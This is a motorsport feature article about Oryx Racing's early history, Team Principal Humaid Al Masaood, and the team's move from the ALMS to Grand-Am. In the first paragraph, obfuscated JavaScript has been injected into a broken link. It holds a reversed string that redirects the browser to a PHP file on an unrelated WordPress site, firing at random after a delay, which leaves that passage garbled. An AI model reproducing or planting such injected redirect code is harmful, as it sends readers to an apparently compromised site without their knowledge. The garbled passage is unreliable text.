‘In at the deep end’ could be on Oryx Racing’s letterhead. Established at the end of 2010, the team made its competitive debut just three months later at the daunting $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/onthetrack/dubai-24hr-the-chequered-flag/” target=”_blank”>Dubai 24Hrs. And finished second in class. Soon the team (then named HMR) joined the Speed Euroseries, and almost took a podium at their first attempt.
Skip forward another few months and the team – now Oryx Dyson Racing following a deal with the American prototype regular – made their LMP1 class debut in the fiercely competitive American Le Mans Series at Lime Rock Park. And ran third in the early stages. As you can see, ‘baby steps’ rarely play a role.
But then that’s very much the style of Team Principal, and Oryx Driver, Humaid Al Masaood. Having competed for many years across the Middle East in varying motorsport categories (and successfully to boot), UAE national Al Masaood prefers to prove his racing worth on the global stage against some of the toughest competition the sport has to offer. And thus, so too does the team he founded.
Accordingly, Oryx Racing has parted ways with the ALMS – and Dyson – and will this year compete in Grand-Am Road Racing’s sportscar division, despite a potential Championship shot being within arms reach.
“We wanted to develop as an individual race operation,” Al Masaood confirmed to crankandpiston, “and GT racing seemed like a good route for that. Plus the series, I think, is going to be phenomenal. Grand-Am gets great coverage in America, good attendance from spectators, and the organisers are doing an awful lot to make the series more desirable. Ferrari have joined, Porsche have stepped up and there’s rumours of more manufacturers joining next year too.”
